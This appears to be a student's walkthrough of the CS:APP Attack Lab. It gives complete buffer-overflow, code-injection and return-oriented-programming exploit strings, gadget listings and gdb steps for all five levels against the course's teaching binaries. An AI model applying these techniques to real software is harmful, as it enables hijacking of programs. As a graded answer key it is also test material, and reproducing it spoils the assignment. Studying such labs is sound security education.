attacklab记录
准备
: tar -xvf targetk.tar 解压缩文件
unix> cat exploit.txt | ./hex2raw | ./ctarget
The program “hex2raw” converts these strings into a sequence of raw bytes, which can then be fed to the target
-h: Print list of possible command line arguments
-q: Don’t send results to the grading server
-i FILE: Supply input from a file, rather than from standard input
Your exploit string must not contain byte value 0x0a at any intermediate position,
since this is the ASCII code for newline (‘\n’)
//正常程序应该这样
unix> ./hex2raw < ctarget.l2.txt | ./ctarget
Cookie: 0x1a7dd803
Type string:Touch2!: You called touch2(0x1a7dd803)
Valid solution for level 2 with target ctarget
PASSED: Sent exploit string to server to be validated.
NICE JOB!
level1
1 void test()
2 {
3 int val;
4 val = getbuf();
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
//getbuf代码
1 unsigned getbuf()
2 {
3 char buf[BUFFER_SIZE]; //buf在哪个地方
4 Gets(buf);
5 return 1; //知道ret放在哪里
6 }
000000000040187b <getbuf>:
40187b: 48 83 ec 28 sub $0x28,%rsp //40
40187f: 48 89 e7 mov %rsp,%rdi
401882: e8 7e 02 00 00 callq 401b05 <Gets>
401887: b8 01 00 00 00 mov $0x1,%eax
40188c: 48 83 c4 28 add $0x28,%rsp
401890: c3 retq
//在ret在的地方填入touch1的地址
1 void touch1() //0000000000401891<touch1>:小端法
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }
答案
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
91 18 40 00 00 00 00 00
level2
思路:
- 注入的代码应该将寄存器%rdi设置为cookie,然后使用ret指令将控制转移到touch2中的第一条指令。
Cookie: 0x5cd61ef1
000000000040187b <getbuf>:
40187b: 48 83 ec 28 sub $0x28,%rsp //40
40187f: 48 89 e7 mov %rsp,%rdi
401882: e8 7e 02 00 00 callq 401b05 <Gets>
401887: b8 01 00 00 00 mov $0x1,%eax
40188c: 48 83 c4 28 add $0x28,%rsp
401890: c3 retq
1 void touch2(unsigned val)
2 {
3 vlevel = 2; /* Part of validation protocol */
4 if (val == cookie) {
5 printf("Touch2!: You called touch2(0x%.8x)\n", val);
6 validate(2);
7 } else {
8 printf("Misfire: You called touch2(0x%.8x)\n", val);
9 fail(2);
10 }
11 exit(0);
12 }
00000000004018bd <touch2>: //touch2所在地址
生成机器代码
vim touch2.s
gcc -c touch2.s
objdump -d touch2.o > touch2.d
> cat touch2.d
touch2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 f1 1e d6 5c mov $0x5cd61ef1,%rdi
7: 68 bd 18 40 00 pushq $0x4018bd
c: c3 retq
所以注入的代码段为
48 c7 c7 f1 1e d6 5c 68 bd 18 40 00 c3
和Level 1 类似,利用缓冲区溢出将返回地址修改为这段代码的起始地址,就能让程序执行我们注入的这段代码。
内存中存储这段代码的地方便是 getbuf开辟的缓冲区,我们利用gdb查看此时缓冲区的起始地址。
b Gets
Breakpoint 1, 0x0000000000401882 in getbuf () at buf.c:14
14 buf.c: No such file or directory.
(gdb) x/gx $rsp
rsp 0x556182b8 0x556182b8
填入数字
48 c7 c7 f1 1e d6 5c 68
bd 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b8 82 61 55 00 00 00 00
运行
./hex2raw < ctarget2.txt | ./ctarget -q
level3
要求
- 返回touch3并且传递了cookie的字符串表示形式作为它的参数。
建议
- 你需要在你的攻击字符串中包含一个你的cookie的字符串。字符串应该由8个十六进制数字(从最重要到最不重要排序)组成,前面不应该有“0x”。
- 回想一下,在C语言中,字符串表示为一个字节序列,后跟一个值为0的字节。在任何Linux机器上输入“man ascii”,以查看所需字符的字节表示形式。
- 您注入的代码应该将寄存器%rdi设置为该字符串的地址
- 当调用hexmatch和strncmp函数时,它们将数据放入栈,覆盖getbuf使用的缓冲区所在的内存部分。因此,您需要小心将cookie的字符串表示形式放在何处。
做法
mov *char,%rdi //将字符串存在ret(ret存在0x556182e0处)的上方,就不会被覆盖
//5 c d 6 1 e f 1
//35 63 64 36 31 65 66 31 00
push touch3的地址
ret
溢出时放入rsp(0x556182b8)的地址,执行插入代码
1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */
6 char *s = cbuf + random() % 100;
7 sprintf(s, "%.8x", val); //C库函数 int sprintf(char *str, const char *format, ...) 发送格式化输出到 str 所指向的字符串。"5cd61ef1"
8 return strncmp(sval, s, 9) == 0; //sval和s的前9个字符相等
9 }
7
10
11 void touch3(char *sval)
12 {
13 vlevel = 3; /* Part of validation protocol */
14 if (hexmatch(cookie, sval)) {
15 printf("Touch3!: You called touch3(\"%s\")\n", sval);
16 validate(3);
17 } else {
18 printf("Misfire: You called touch3(\"%s\")\n", sval);
19 fail(3);
20 }
21 exit(0);
22 }
汇编代码
00000000004019ce <touch3>:
//vim touch3.s
//gcc -c touch3.s
//objdump -d touch3.o > touch3.d
//cat touch3.d
touch3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 e8 82 61 55 mov $0x556182e8,%rdi
7: 68 ce 19 40 00 pushq $0x4019ce
c: c3 retq
填入数字
48 c7 c7 e8 82 61 55 68
ce 19 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b8 82 61 55 00 00 00 00
35 63 64 36 31 65 66 31 00
./hex2raw < ctarget3.txt | ./ctarget -q
//gdb准备 ./hex2raw < ctarget3.txt > ctarget3raw.txt
(gdb) r -qi ctarget3raw.txt
第二部分
//例子
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
//反汇编代码
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) //48 89 c7 movq %rax,%rdi
400f1b: c3 retq
- 在rtarget副本中,gadget farm由函数start_farm和end_farm分隔。不要试图从程序代码的其他部分构造gadget。
level4
- 对于第4阶段,您将重复第2阶段的攻击,但是在RTARGET程序中使用gadget farm中的gadget。您可以使用由以下指令类型组成的gadget构建解决方案,并且仅使用前8个x86-64寄存器(%rax - %rdi)。
- movq
- popq
- ret
- nop:这条指令(发音为“no op”,是“no operation”的缩写)由单字节0x90编码。它唯一的作用是使程序计数器增加1。
Advice
- 您需要的所有小工具都可以在函数start_farm和mid_farm划分的rtarget代码区域中找到。
- 你只需要两个小工具就可以做到这一点
- 当gadget使用popq指令时,它将从堆栈中弹出数据。因此,您的攻击字符串将包含小工具地址和数据的组合。
解法
movq $0x5cd61ef1,%rdi
怎么找到cookie?
- 401a97 popq %rax//把当前栈里的值存入rax
- 填cookie的值
- 401a74 movq %rax %rdi
- 填入touch2的地址(00000000004018bd )
//运行
./hex2raw < rtarget1.txt | ./rtarget -q
0000000000401a65 <start_farm>:
401a65: b8 01 00 00 00 mov $0x1,%eax
401a6a: c3 retq
0000000000401a71 <setval_107>:
401a71: c7 07 60 48 89 c7 movl $0xc7894860,(%rdi) //48 89 c7 movq %rax %rdi
401a77: c3 retq
0000000000401a78 <addval_414>:
401a78: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax //48 89 c7 movq %rax %rdi
401a7e: c3 retq
0000000000401a86 <getval_312>:
401a86: b8 58 90 c3 0f mov $0xfc39058,%eax //58 popq %rax
401a8b: c3 retq
0000000000401a93 <addval_355>:
401a93: 8d 87 e8 9e 58 c7 lea -0x38a76118(%rdi),%eax //58 popq %rax
401a99: c3 retq
0000000000401a9a <setval_424>:
401a9a: c7 07 58 90 90 90 movl $0x90909058,(%rdi) //58 popq %rax
401aa0: c3 retq
0000000000401aa1 <mid_farm>:
401aa1: b8 01 00 00 00 mov $0x1,%eax
401aa6: c3 retq
填入数字
5c d6 1e f1 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
97 1a 40 00 00 00 00 00
f1 1e d6 5c 00 00 00 00
74 1a 40 00 00 00 00 00
bd 18 40 00 00 00 00 00
level 5
描述
- 如果你有其他紧急的事情要做,考虑现在就停止。(一看level5就不简单)
- 阶段5要求您对RTARGET执行ROP攻击,用指向cookie字符串表示形式的指针调用函数touch3。这似乎并不比使用ROP攻击来调用touch2困难多少,只不过我们已经实现了这一点。此外,第5阶段只计算5个点,这并不是它所需努力的真正度量。对于那些想要超出课程预期的人来说,这更像是一个额外的学分问题。
过程
- 要解决第5阶段,可以在rtarget中由函数start_farm和end_farm划分的代码区域中使用gadget。
- movl
- 这个部分的字节序列还包含2字节的指令,这些指令用作功能性nop(它们不改变任何寄存器或内存值。其中包括如图3D所示的指令,如andb %al、%al,它们对一些寄存器的低阶字节进行操作,但不更改它们的值)
建议
- 你会想要回顾一下movl指令对寄存器的前4字节的影响,正如在文本的183页所描述的那样。
- 官方解决方案需要8个gadgets(并不是所有的都是唯一的)
解答
401b12 movq %rsp,%rax
401a74 movq %rax %rdi
401a97 popq %rax
48 00 00 00 00 00 00 00 00
401add movl %eax,%ecx
401b48 movl %ecx,%edx
401ad1 movl %edx,%esi
401aa7 lea (%rdi,%rsi,1),%rax
401a74 movq %rax,%rdi
touch3
栈相距72(0x48)
00000000004019ce <touch3>
./hex2raw < rtarget2.txt | ./rtarget -q
0000000000401a65 <start_farm>:
401a65: b8 01 00 00 00 mov $0x1,%eax
401a6a: c3 retq
0000000000401a86 <getval_312>:
401a86: b8 58 90 c3 0f mov $0xfc39058,%eax //58 popq $rax
401a8b: c3 retq
0000000000401a9a <setval_424>:
401a9a: c7 07 58 90 90 90 movl $0x90909058,(%rdi) //58 popq $rax
401aa0: c3 retq
0000000000401aa7 <add_xy>:
401aa7: 48 8d 04 37 lea (%rdi,%rsi,1),%rax %rax=%rdi+%rsi
401aab: c3 retq
0000000000401ac7 <addval_484>:
401ac7: 8d 87 48 89 e0 90 lea -0x6f1f76b8(%rdi),%eax //48 89 e0 movq %rsp,%rax
401acd: c3 retq
0000000000401ac0 <setval_108>:
401ac0: c7 07 88 d6 08 c9 movl $0xc908d688,(%rdi) //08 c9 orb %cl,%cl
401ac6: c3 retq
0000000000401ace <setval_460>:
401ace: c7 07 89 d6 84 db movl $0xdb84d689,(%rdi) //89 d6 movl %edx,%esi
//84 db testb %bl,%bl
401ad4: c3 retq
0000000000401ad5 <setval_336>:
401ad5: c7 07 8b c1 84 c9 movl $0xc984c18b,(%rdi) //84 c9 testb %cl,%cl
401adb: c3 retq
0000000000401adc <getval_471>:
401adc: b8 89 c1 00 c0 mov $0xc000c189,%eax //89 c1 movl %eax,%ecx
401ae1: c3 retq
0000000000401ae9 <getval_323>:
401ae9: b8 48 89 e0 91 mov $0x91e08948,%eax //48 89 e0 movq %rsp,%rax
401aee: c3 retq
0000000000401aef <getval_358>:
401aef: b8 89 ca 60 c0 mov $0xc060ca89,%eax //89 ca movl %ecx,%edx
401af4: c3 retq
0000000000401afc <addval_478>:
401afc: 8d 87 c9 c1 84 db lea -0x247b3e37(%rdi),%eax //84 db testb %bl,%bl
401b02: c3 retq
0000000000401b0a <getval_427>:
401b0a: b8 89 ca 38 d2 mov $0xd238ca89,%eax //89 ca movl %ecx,%edx
//38 d2 cmpb %dl,%dl
401b0f: c3 retq
0000000000401b10 <addval_116>:
401b10: 8d 87 48 89 e0 90 lea -0x6f1f76b8(%rdi),%eax 48 89 e0 movq %rsp,%rax
401b16: c3 retq
0000000000401b17 <addval_458>:
401b17: 8d 87 89 ca a4 c9 lea -0x365b3577(%rdi),%eax //89 ca movl %ecx,%edx
401b1d: c3 retq
0000000000401b25 <getval_161>:
401b25: b8 89 c1 a4 c9 mov $0xc9a4c189,%eax //89 c1 movl %eax,%ecx
401b2a: c3 retq
0000000000401b31 <setval_332>:
401b31: c7 07 89 ca 38 d2 movl $0xd238ca89,(%rdi) //89 ca movl %ecx,%edx
//38 d2 cmpb %dl,%dl
401b37: c3 retq
0000000000401b38 <addval_475>:
401b38: 8d 87 89 d6 60 db lea -0x249f2977(%rdi),%eax //89 d6 movl %edx,%esi
401b3e: c3 retq
0000000000401b3f <addval_197>:
401b3f: 8d 87 89 d6 90 90 lea -0x6f6f2977(%rdi),%eax //89 d6 movl %edx,%esi
401b45: c3 retq
0000000000401b46 <addval_360>:
401b46: 8d 87 89 ca c4 c0 lea -0x3f3b3577(%rdi),%eax //89 ca movl %ecx,%edx
401b4c: c3 retq
0000000000401b4d <addval_128>:
401b4d: 8d 87 89 c1 08 d2 lea -0x2df73e77(%rdi),%eax //89 c1 movl %eax,%ecx
401b53: c3 retq
0000000000401b61 <getval_272>:
401b61: b8 48 89 e0 94 mov $0x94e08948,%eax //89 d6 movl %edx,esi
401b66: c3 retq
0000000000401b67 <getval_474>:
401b67: b8 89 d6 28 c9 mov $0xc928d689,%eax //89 d6 movl %edx,esi
401b6c: c3 retq
0000000000401b74 <addval_173>:
401b74: 8d 87 48 89 e0 91 lea -0x6e1f76b8(%rdi),%eax //48 89 e0 movq %rsp,%rax
401b7a: c3 retq
0000000000401b7b <getval_453>:
401b7b: b8 2d 89 c1 c3 mov $0xc3c1892d,%eax //movl %eax,%ecx
401b80: c3 retq
0000000000401b81 <end_farm>:
401b81: b8 01 00 00 00 mov $0x1,%eax
401b86: c3 retq
填入数字
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
12 1b 40 00 00 00 00 00
74 1a 40 00 00 00 00 00
97 1a 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 1a 40 00 00 00 00 00
48 1b 40 00 00 00 00 00
d1 1a 40 00 00 00 00 00
a7 1a 40 00 00 00 00 00
74 1a 40 00 00 00 00 00
ce 19 40 00 00 00 00 00
35 63 64 36 31 65 66 31 00